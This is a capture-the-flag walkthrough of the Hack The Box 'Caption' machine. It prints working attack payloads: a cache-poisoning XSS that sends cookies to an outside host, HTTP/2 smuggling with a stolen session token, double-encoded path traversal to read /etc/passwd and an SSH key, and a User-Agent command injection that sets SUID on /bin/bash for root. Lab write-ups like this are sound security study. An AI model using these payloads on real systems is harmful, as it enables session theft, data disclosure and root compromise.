Reconnaissance#
- On scanning the ports we can see that there are three ports open
- We got two web services running. which are on port 80 (caption) and on port 8080 (git bucket)
- More importantly after some recon I come to know about a login page on port 80 which is caption, however we don’t have the credentials yet so I started digging further
- The Gitbucket on port 8000 had two repos, interesting isn’t it
- The repository files didn’t give that much of valuable information. but…
Enumeration#
I got tired of the repo files so I checked commits, the recent commits were done by user
Administrator
where the old were done by userroot
So I tried enumerating the commits further and on accessing the commit
Access control
, I saw credentials in the chageThose creds worked on the login page on caption(port 80), So using the creds I was able to log in on Caption-Portal
It looked like a typical hack the box page but when I tried accessing
/logs
from the caption-portal it showed me access denied error. But at initially on seeing it I was happy cause I thought I could have command injection or something. But if you think about it which is unlikely now.After a while, I found that there is a cache server running along with the web server, which is called
varnish
, Actually we could’ve learned about this from the source code(repo) tooVarnish Cache is a web application accelerator also known as a caching HTTP reverse proxy. You install it in front of any server that speaks HTTP and configure it to cache the contents.
Apparently this caching server will cache the same page for all users for quick loading of contents
Again after a while I found that when using
X-Forwaded-Host:
header on the request of pages like/home
and/firewalls
actually loads it’s value on the response and caches the same page for everyone(including admin) usingvarnish
caching server.
" </script> <script>new Image().src="https://10.10.14.12:8000/?c="+document.cookie;</script>
- So I made and used the the above xss payload to get admin cookie which was successful.
- Even after including the admin cookie, still haproxy blocking my request to the page
/logs
which was frustrating - I was searching for a tool to bypass this, fortunatly one friend suggested me this great tool called h2csmuggler and using that tool I was easily able to bypass the 403 of
/logs
- From the response I got the location of logs files
- After hours of checking the logs files, I came to know that it didn’t has anything useful, Full of garbage
h2csmuggler.py -x http://caption.htb:80 -H 'Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM1NDY5NTAzfQ.KlugtV3zNPowolIMi0EUkDB_CFUx0MdmDSkNWEX1KHo' 'http://caption.htb:80/download<redacted>
- See it’s garbage contents yourselves
- But on visiting the plain url without the logs path it rather reveals something interesting
- These
./cpr
folders are looking interesting aren’t they - Researched about them and found a vulnerability in copyparty, Which includes a path traversal vulnerability on versions 1.8.2 The POC looked like this:
curl -i -s -k -X GET 'http://127.0.0.1:3923/.cpr/%2Fetc%2Fpasswd'
- The above path also has SSRF vulnerability
Exploitation#
- Using this plainly didn’t work for me
- But with little twerk, actually have to double encode the payload
- This was my initial payload to read
/etc/passwd
.cpr//etc/passwd
- The Final URL encoded payload:
%2e%63%70%72%2f%25%32%46%65%74%63%25%32%46%70%61%73%73%77%64
- As this was working, for SSH access I tried to read
id_rsa
for user margo and got nothing, then after some hours I figured that it’s not a RSA key that I should look for…
/.cpr//home/margo/.ssh/id_ecdsa
- Logged in with the key and got theUser flag
- Don’t worry guys we are halfway through
Privilege Escalation#
- I started enumerating with internal services and we got multiple services but one looks particularly interesting
ss -tunlp
- The reason is, there is a code mentioning about port 9090 within the gitbucket’s Logservice repo
- So as usual as I reverse forwarded that particular service port to my host machine
- There were no interface
- I was stuck here so I researched the repo again and learned about
Thrift
. WhereThrift
is used to connect with log services. - Researched on
Thrift
- Also after some further enumeration and code review I found a really bad code on the log service
- This regex code snippet reads a arbitary log file and takes the values of User-Agent from, it takes timestamp’s value. Also it notes the IP address which is not potential for this context
- This can be exploited by injecting a command within the user agent of log files. As the code configured to read the user-agent value, the injected command would be executed.
- For this to be done we need Thrift installed on the local machine.
- Then we need a client on the local machine to tell the Log service to read our malicious file on the target using thrift.
- When it reads the log file our command will be executed. So I installed Thrift using pip3
pip3 install thrift
- To create the client, first we have to create an api configuration file for the client
- Created a file named
api2.thrift
with this following code
namespace py log_service
exception LogServiceException {
1: string message
}
service LogService {
/**
* Reads the log file from the specified file path.
* @param filePath - The path of the log file to read.
* @return string - A message indicating the processing status.
* @throws LogServiceException - If an error occurs during processing.
*/
string ReadLogFile(1: string filePath) throws (1: LogServiceException error)
}
- Installed compiler using
sudo apt install thrift-compiler
although not recommended - Ran the following command and created modules directory in python language
thrift --gen py api2.thrift
- Inside the directory I created
client.py
file with this code
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService # Import generated Thrift client code
def main():
# Set up a transport to the server
transport = TSocket.TSocket('localhost', 9090)
# Buffering for performance
transport = TTransport.TBufferedTransport(transport)
# Using a binary protocol
protocol = TBinaryProtocol.TBinaryProtocol(transport)
# Create a client to use the service
client = LogService.Client(protocol)
# Open the connection
transport.open()
try:
# Specify the log file path to process
log_file_path = "/tmp/bad.log"
# Call the remote method ReadLogFile and get the result
response = client.ReadLogFile(log_file_path)
print("Server response:", response)
except Thrift.TException as tx:
print(f"Thrift exception: {tx}")
# Close the transport
transport.close()
if __name__ == '__main__':
main()
- After that I created two files
- One is
bad.log
file with this as content
- One is
999.9.9.9 "user-agent":"'; /bin/bash /tmp/bad.sh #"
- Second is
bad.sh
file with this
chmod +s /bin/bash
- Transferred both the files to the
/tmp
folder of the target system and also gave appropriate permissions- From the host hosted a python server
- From the target system
- From the host hosted a python server
- All complications are over.
- By now if client.py is executed it will speak with the Log-service and make it to read the file
/tmp/bad.log
- As the file contains malicious code. It will make the Log-service to execute a script named
bad.sh
as root. - The script will give SUID permissions to
/bin/bash
making it to be executed as root by anyone. - Fired the script successfully
- Our exploit worked…. It was a success
- Executing the
/bin/bash
with preserve flag-p
gave a shell as root. - Finally got theRoot flag